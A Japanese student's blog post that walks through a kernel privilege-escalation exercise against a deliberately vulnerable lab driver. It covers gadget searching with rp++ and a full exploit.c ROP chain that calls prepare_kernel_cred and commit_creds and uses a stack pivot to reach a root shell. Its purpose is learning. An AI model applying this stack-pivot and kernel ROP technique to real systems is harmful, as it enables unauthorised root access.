teppay’s log

セキュリティ、CTF、機械学習などに興味があります。情報系学生です。興味のあることを思い立った時に書きます。曖昧なことの整理にも使います。月1が目標です。

カーネルエクスプロイト入門してみるー最終章ー

はじめに

前回までで環境構築がやっと終わったので、メインのカーネルエクスプロイトにはいります。

teppay.hatenablog.com

2 カーネルエクスプロイト!

2.1 方針

エクスプロイトの方針はるくすさんのブログに書いてある通りです。

rkx1209.hatenablog.com

任意のアドレスをコールしてくれるモジュールを起動した状態で、それに対して攻撃します。
「Stack Pivotで、カーネルのスタックを、ユーザ空間に確保した領域とすげ替える。そこでカーネルROPしてプロセスの権限を昇格させる。シェルを起動。」って感じです。たぶん

2.2 必要なアドレスの準備

Stack PivitやらカーネルROPをするために必要なGadgetのアドレスなどもろもろをまず調べます。

$ make

$ sudo insmod ropm.ko #モジュールのインストール

$ dmesg | grep addr | grep ops
[  113.396732] addr(ops) = ffffffffa02da350

$ readelf -s ./vmlinux | grep prepare_kernel_cred
 80354: 00000000bbd8387f     0 NOTYPE  GLOBAL DEFAULT  ABS __crc_prepare_kernel_cred
 83581: ffffffff8108dfb0   282 FUNC    GLOBAL DEFAULT    1 prepare_kernel_cred

$ readelf -s ./vmlinux | grep prepare_kernel_cred
 80354: 00000000bbd8387f     0 NOTYPE  GLOBAL DEFAULT  ABS __crc_prepare_kernel_cred
 83581: ffffffff8108dfb0   282 FUNC    GLOBAL DEFAULT    1 prepare_kernel_cred
teppay@teppay-VirtualBox:~/D23/kernel_exploit_world-master/chap2$ readelf -s ./vmlinux | grep commit_creds
  8043: ffffffff81ad99e0    16 OBJECT  LOCAL  DEFAULT    8 __ksymtab_commit_creds
  8044: ffffffff81b02779    13 OBJECT  LOCAL  DEFAULT   12 __kstrtab_commit_creds
  8045: ffffffff81af3c50     8 OBJECT  LOCAL  DEFAULT   10 __kcrctab_commit_creds
 80840: 0000000079f29ccd     0 NOTYPE  GLOBAL DEFAULT  ABS __crc_commit_creds
 83283: ffffffff8108dce0   542 FUNC    GLOBAL DEFAULT    1 commit_creds


$ objdump -j .text -d ./vmlinux | grep iretq | head -1
ffffffff8104df96:   48 cf                  iretq  

さらにカーネルの中のROPGadgetを検索するために、るくすさんのGithubのfind_offset.pyを使うんですが、ここでちょっとハマりました。
るくすさんのブログでは、rp++の出力を、

$ ./rp-lin-x64 --file=/path/to/linux-3.12/vmlinux --rop=3 --unique > gadgets.txt

というコマンドでテキストファイルにリダイレクトしていますが、自分の環境では、rp++の出力に色がついており、リダイレクトするとその色情報が付加されて余計なものがくっついている文字列がgadgets.txtにはいっていました。
なので、リダイレクトの前にsedコマンドを噛ませて以下のコマンドでrp++の結果を出力しました。

$ rp-lin-x64 --file=./vmlinux --rop=3 --unique | sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})*)?m//g"  > gadgets.txt

さらに、find_offset.pyを実行するとsplitがうまく行っていない旨のエラーが出るので、gadgets.txtの冒頭部分のいらないところを削除したらうまく動きました。 ↓この部分↓ f:id:teppay:20170728160306p:plain ↑↑

$ ./find_offset.py ffffffffa02da350 gadgets.txt | grep -1 "xchg eax, esp ; ret "

...
offset = 18446744073644267284
gadget = or dword [rdi], ecx ; xchg eax, esp ; ret  ;  (1 found)
stack addr = 810c5bf0
...

余計なのが前についていますが、とりあえずこのgadgetで行ってみようと思います。
のこりの細々としたGadgetもrp++で見つけて、やっと次はROPを組んでいきます。

2.3 ROP

ここまで来たら、exploit.cを自分の環境にあわせて書き換えてコンパイル・実行するだけです。 exploit.c

int main(int argc, char *argv[])
{
  int fd;
  struct drv_req req;
  void *mapped, *temp_stack;
  unsigned long base_addr, stack_addr, mmap_addr, *fake_stack;

  if (argc != 3) {
    usage(argv[0]);
    return -1;
  }
  //offset = 18446744073644267284
  req.offset = strtoul(argv[1], NULL, 10);
  base_addr  = strtoul(argv[2], NULL, 16);
  prepare_kernel_cred = 0xffffffff8108dfb0;
  commit_creds = 0xffffffff8108dce0;
  printf("array base address = 0x%lx\n", base_addr);
  stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;
  fprintf(stdout, "stack address = 0x%lx\n", stack_addr);

  mmap_addr = stack_addr & 0xffff0000;
  assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr);
  assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000);

  save_state();
  fake_stack = (unsigned long *)(stack_addr);
  *fake_stack ++= 0xffffffff8105182dUL; /* pop %rdi; ret */

  fake_stack = (unsigned long *)(stack_addr + 0 + 8);

  *fake_stack ++= 0x0UL;                /* NULL */
  *fake_stack ++= prepare_kernel_cred; /* prepare_kernel_cred() */

  *fake_stack ++= 0xffffffff81047c82UL; /* pop %rdx; ret */
  //*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */
  *fake_stack ++= commit_creds + 6; // commit_creds() + 2 instructions

  *fake_stack ++= 0xffffffff81033380UL; /* mov %rax, %rdi; call %rdx */

  *fake_stack ++= 0xffffffff8104d764UL; // swapgs ; pop rbp ; ret
  *fake_stack ++= 0xdeadbeefUL;         // dummy placeholder

  *fake_stack ++= 0xffffffff8104df96UL; /* iretq */
  *fake_stack ++= (unsigned long)shell; /* spawn a shell */
  *fake_stack ++= user_cs;              /* saved CS */
  *fake_stack ++= user_rflags;          /* saved EFLAGS */
  *fake_stack ++= (unsigned long)(temp_stack+0x5000000);  /* mmaped stack region in user space */
  *fake_stack ++= user_ss;              /* saved SS */


  //map = mmap((void *)..., ..., 3, 0x32, 0, 0);

  fd = open(DEVICE_PATH, O_RDONLY);

  if (fd == -1) {
    perror("open");
  }

  ioctl(fd, 0, &req);

  return 0;
}

f:id:teppay:20170729015258p:plain
はいこんな感じでできました。
画像をよく見てもらうとわかりますが、1回目の実行では/dev/vulndrvをopenする際にPermissionErrorで弾かれています。

$ sudo chmod 766 /dev/vulndrv

で一般ピーポーがドライバを読む権限を付与したうえで実行してみると、見事シェルが取れました。
"#" がrootの証です!!

まとめ

  • 知らないことが多すぎたので、今回のことで圧倒的成長できたのはまちがいない。
  • 概ね理解はできたが、細かいことがあやふやなまま。
  • 頑張ります。
  • とりあえずテスト勉強。。。やりたくない